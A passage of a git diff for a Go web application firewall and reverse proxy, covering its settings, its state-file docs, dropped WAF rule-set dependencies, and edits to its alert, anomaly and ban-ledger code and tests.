`503`. It does not apply to an answer `servewaf` gives, such as an error.
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
`off`.
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
`off`.
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
send its request line and headers. It then also bounds, from the end of the
headers, the time until the app has been sent the whole request. A time or
`off`.
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
from the end of the request to its last byte reaching the visitor. A time or
`off`.
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
`https` URL with a host and an optional port, and nothing more.
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
nothing. A client outside these netblocks cannot claim another address. Where
other containers reach `rproxy` directly, or visitors on a private network
reach traefik, they can name another address in the header. Narrowing the
setting to traefik's own network closes that gap.
## The image's command
`SMALLWEBWAF_COMMAND` (default `rproxy`) chooses what the image runs and what
its health check checks: `rproxy` or `servewaf` (see "Deployment" in
[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
## Where earlier settings went
Nothing reads these names any more:
- `SWWAF_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
- `SWWAF_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
- `SWWAF_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
- `SWWAF_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
- `SWWAF_CLIENT_REQUEST_TIMEOUT` and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` are
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
- `SWWAF_CLIENT_RESPONSE_TIMEOUT` and `SWWAF_UPSTREAM_RESPONSE_TIMEOUT` are
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
- `SWWAF_CLIENT_IDLE_TIMEOUT` and `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` have
no setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
takes a request line and headers of at most 32 KiB.
docs/state-files.md
-104
View File
@@ -1,104 +0,0 @@
# State files
The five JSON files in `SWWAF_STATE_DIR`, and what each holds. "Persistent
state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited.
Each has a top-level `version` of 1.
## `bans.json`
Active and past bans: every ban an admin made, and up to `SWWAF_MAX_BANS` of
those `servewaf` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
- `reason`: a short reason;
- `lifted`: when an admin lifted it, if one did;
- `notes`: the notes below.
An entry an admin adds needs `netblock`, `start` and `expires`; `reason`,
`notes` and `cause` may be left out, and the cause is then `admin`:
```json
{
"version": 1,
"bans": [
{
"netblock": "203.0.113.0/24",
"start": "2026-10-06T12:00:00Z",
"expires": null,
"reason": "probes for logins"
}
]
}
```
"Bans" in [`SPEC.md`](../SPEC.md) says how an edit lifts, keeps or forgets a
ban. The notes:
- `asn`, `as_name` and `country`: the client's, added when the lookup answers
(empty when lookups are off);
- for a broken limit, `kind` (`requests`, `bytes` or `refusals`), `limit`,
`window` and `count`: what the limit was on, the limit, its window and the
count reached;
- `limit_percent` and `limit_percent_setting`: the client's percentage of that
limit and the setting that gave it, when a setting lowered it;
- for a clear sign of attack, `rule_id` and `target`, or `trap_path`;
- `reputation`: the sources the client was on, each with its `source` and, for
AbuseIPDB, its `score`;
- `request`: the request that caused the ban, each text cut to 256 bytes:
- `time`, `method` and `host`;
- `path`, with its query string;
- `status` and `user_agent`;
- `requests` and `refused`: the netblock's requests since it was first seen, and
how many this ban has refused so far, kept up to date while the ban lasts;
- `earlier_bans`: how many earlier bans the netblock had, by cause.
## `clients.json`
Per client, one per line: its minute, hour and day counters, and its history
since it was first seen:
- the first and last time seen;
- the AS number, AS name and country last looked up, and when;
- total requests, and how many were forwarded and how many refused;
- bytes in each direction;
- responses by status class;
- offences by kind: `limit`, `attack`, `rule_blocked` and `waf_blocked`. A file
may also hold `token_refused`, which is kept, and which nothing adds to.
## `lookups.json`
GeoJS answers, one per line:
- `client`;
- `asn`, `as_name` and `country`;
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `reputation.json`
- the last good copy of each list fetched from a URL, with when it was last
tried;
- each DNS blocklist verdict still in use;
- AbuseIPDB's scores, and the checks spent today.
## `alerts.json`
- the anomaly counters;
- the alert cooldowns: for each event and netblock, source, file or anomaly
scope, when it was last sent and the count of repeats held back since;
- the alerts sent and held back in the current hour;
- the alerts waiting for each destination.
## Sizes
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
`SWWAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
disk writes a day.
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
the default `SWWAF_MAX_BANS`. Written every 15 minutes, a full file comes to
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
more.
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
full.
- `reputation.json` and `alerts.json`: usually a few MiB or less.
go.mod
-19
View File
@@ -3,8 +3,6 @@ module sneak.berlin/go/smallwebwaf
go 1.26.0
require (
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.1
github.com/fsnotify/fsnotify v1.10.1
github.com/hashicorp/golang-lru/v2 v2.0.7
github.com/maxmind/mmdbwriter v1.2.0
@@ -15,29 +13,12 @@ require (
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.3 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
github.com/kaptinlin/go-i18n v0.1.4 // indirect
github.com/kaptinlin/jsonschema v0.4.6 // indirect
github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect
github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.58.0 // indirect
golang.org/x/sync v0.23.0 // indirect
golang.org/x/sys v0.48.0 // indirect
golang.org/x/text v0.41.0 // indirect
google.golang.org/protobuf v1.36.11 // indirect
rsc.io/binaryregexp v0.2.0 // indirect
)
go.sum
-55
View File
@@ -2,54 +2,22 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
@@ -60,15 +28,6 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
@@ -77,21 +36,7 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
internal/alerts/alerts.go
+12 -21
View File
@@ -1,8 +1,8 @@
// Package alerts sends alerts on bans, on traffic over an anomaly
// threshold, on a source that fails and on a file with an error to each
// destination set: to the webhook
// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// object" in docs/alerts.md describes, to the Slack incoming
// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as the "Alert
// webhook schema" section of SPEC.md describes, to the Slack incoming
// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within
// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past
@@ -44,13 +44,10 @@ const (
// EventAnomaly is a count of requests or bytes over an anomaly
// threshold.
EventAnomaly = "anomaly"
// EventWAFBlock is a request the Core Rule Set scored at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode.
// EventWAFBlock comes with the Core Rule Set; nothing raises it yet.
EventWAFBlock = "waf_block"
// EventReputationHit is a request whose client a blocklist, the
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
// is a hit.
// EventReputationHit is a request whose client a blocklist or a DNSBL
// zone lists, or whose AbuseIPDB score is a hit.
EventReputationHit = "reputation_hit"
// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
@@ -149,17 +146,15 @@ type Params struct {
}
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
// Country are, for a ban, the client's as the ban's notes give them. Host is
// the site of the request that raised the alert, while one servewaf serves
// many sites, and "" otherwise.
// with the fields of the "Alert webhook schema" section of SPEC.md. ASN,
// ASName and Country are, for a ban, the client's as the ban's notes give
// them.
//
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
//nolint:tagliatelle // SPEC.md's alert webhook schema names its fields in snake_case
type Alert struct {
Instance string `json:"instance"`
Time time.Time `json:"time"`
Event string `json:"event"`
Host string `json:"host,omitempty"`
Client netip.Addr `json:"client"`
Netblock netip.Prefix `json:"netblock"`
ASN string `json:"asn"`
@@ -902,16 +897,12 @@ func title(alert *Alert) string {
}
// text returns the text of alert in Slack and ntfy: its reason, then a
// line for each of its host, client, netblock and country, the file,
// source, error and mode its detail gives, and its suppressed repeats, that
// it has.
// line for each of its client, netblock and country, the file, source,
// error and mode its detail gives, and its suppressed repeats, that it
// has.
func text(alert *Alert) string {
lines := []string{alert.Reason}
if alert.Host != "" {
lines = append(lines, "host: "+alert.Host)
}
if alert.Client.IsValid() {
lines = append(lines, "client: "+alert.Client.String())
}
internal/alerts/alerts_test.go
+1 -3
View File
@@ -1284,11 +1284,9 @@ func anAlertForEachEvent() []eventMessage {
Event: alerts.EventWAFBlock, Client: netip.MustParseAddr("192.0.2.1"),
Netblock: netip.MustParsePrefix("192.0.2.1/32"),
Reason: "refused by the Core Rule Set",
Host: "app.example",
},
"fsn1app1/gitea: waf_block", "default shield",
"refused by the Core Rule Set\nhost: app.example\nclient: 192.0.2.1\n" +
"netblock: 192.0.2.1/32",
"refused by the Core Rule Set\nclient: 192.0.2.1\nnetblock: 192.0.2.1/32",
},
{
alerts.Alert{
internal/anomaly/anomaly.go
+2 -5
View File
@@ -1,8 +1,8 @@
// Package anomaly counts requests and bytes over a minute and an hour, per
// client, per surrounding netblock, per AS number, for the whole service
// and per named netblock, and raises an anomaly alert for a count over its
// threshold, as "Anomaly thresholds" under "Settings" in SPEC.md
// describes. It refuses and bans nothing. At most 20,000 counters
// threshold, as "Anomaly thresholds" under "Configuration surface" in
// SPEC.md describes. It refuses and bans nothing. At most 20,000 counters
// are kept, in memory, and written to alerts.json and read from it by the
// state package.
package anomaly
@@ -103,8 +103,6 @@ type Counter struct {
// Request is a request that has ended, as the counters count it.
type Request struct {
// Host is the site the alert names, "" for none.
Host string
// Client is the client's address, and ClientGroup the client it is
// counted as: its IPv4 address, or the IPv6 netblock of
// SWWAF_IPV6_GROUP_PREFIX its address is in.
@@ -398,7 +396,6 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
return alerts.Alert{
Event: alerts.EventAnomaly,
Host: r.Host,
Client: r.Client,
Netblock: k.netblock,
ASN: r.ASN,
internal/bans/admin_test.go
+3 -57
View File
@@ -2,7 +2,6 @@ package bans_test
import (
"net/netip"
"reflect"
"testing"
"time"
@@ -61,59 +60,6 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
}
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
t.Parallel()
rules := defaultRules()
rules.MaxBans = 2
ledger := bans.New(rules)
netblock := netip.MustParsePrefix("203.0.113.1/32")
other := netip.MustParsePrefix("203.0.113.2/32")
// An admin bans the netblock for a minute, and it then breaks a limit
// twice, each time after its last ban has ended.
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
"probes for logins")
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
// A ban on another netblock fills the ledger, and the netblock's first
// ban for a limit, its earliest that is not an admin's, goes.
ledger.BanForLimit(other, second.Start, bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
// The netblock's next ban still counts it.
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
t.Errorf("the third ban for a limit has earlier bans %+v, "+
"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
}
}
func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.1/32")
// The netblock breaks a limit twice, the second time after its first
// ban has ended, and the second ban's notes count the first. An admin
// then keeps the first ban.
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
kept := first
kept.Cause = bans.CauseAdmin
ledger.LoadEdit([]bans.Ban{kept, second})
// The netblock's next ban counts the kept ban once, as an admin's.
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
t.Errorf("the third ban for a limit has earlier bans %+v, "+
"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
}
}
func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) {
t.Parallel()
@@ -171,7 +117,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
}
held := ledger.Bans(netblock)
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
if len(held) != 2 || held[0] != lifted {
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
}
}
@@ -266,7 +212,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
"probes for logins")
if !reflect.DeepEqual(got, want) {
if got != want {
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
}
@@ -278,7 +224,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
// It refuses once the ban for the limit has ended.
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
if !banned || !reflect.DeepEqual(ban, want) {
if !banned || ban != want {
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
ban, banned, want)
}
internal/bans/bans.go
+52 -148
View File
@@ -1,10 +1,8 @@
// Package bans is the ban ledger: the bans smallwebwaf makes on the
// netblocks of clients that break a rate limit, a byte limit or the error
// burst, show a clear sign of attack or are listed by the CrowdSec
// decision list, and
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and
// read from it by the state package.
// netblocks of clients that break a rate limit or a byte limit or show a
// clear sign of attack, and those an admin makes, with their notes, as
// the "Bans" section of SPEC.md describes. The bans are kept in memory,
// and written to bans.json and read from it by the state package.
package bans
import (
@@ -28,9 +26,6 @@ const (
// CauseAdmin is a ban an admin made, or one smallwebwaf made that an
// admin keeps. It is never dropped.
CauseAdmin = "admin"
// CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec
// decision list lists. It ends when CrowdSec's decision does.
CauseCrowdSec = "crowdsec"
)
// repeatFactor is how many times as long as the netblock's last ban a ban
@@ -45,9 +40,9 @@ type Rules struct {
// LimitBanDuration is how long a first ban for a broken limit lasts.
LimitBanDuration time.Duration
// LimitBanRepeatWindow is how soon after the end of the netblock's
// ban that ended last, other than one for a clear sign of attack or for
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
// repeatFactor times as long as that ban.
// ban that ended last, other than one for a clear sign of attack, a
// broken limit counts as a repeat, which bans for repeatFactor times as
// long as that ban.
LimitBanRepeatWindow time.Duration
// MaxBanDuration is the longest ban for a broken limit; one that would
// be longer is permanent instead.
@@ -68,11 +63,10 @@ type Ban struct {
Start time.Time
// Expires is when the ban ends, zero for a permanent ban.
Expires time.Time
// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
// Cause is CauseLimit, CauseAttack or CauseAdmin.
Cause string
// Reason is a short text: for a ban smallwebwaf made, the limit broken,
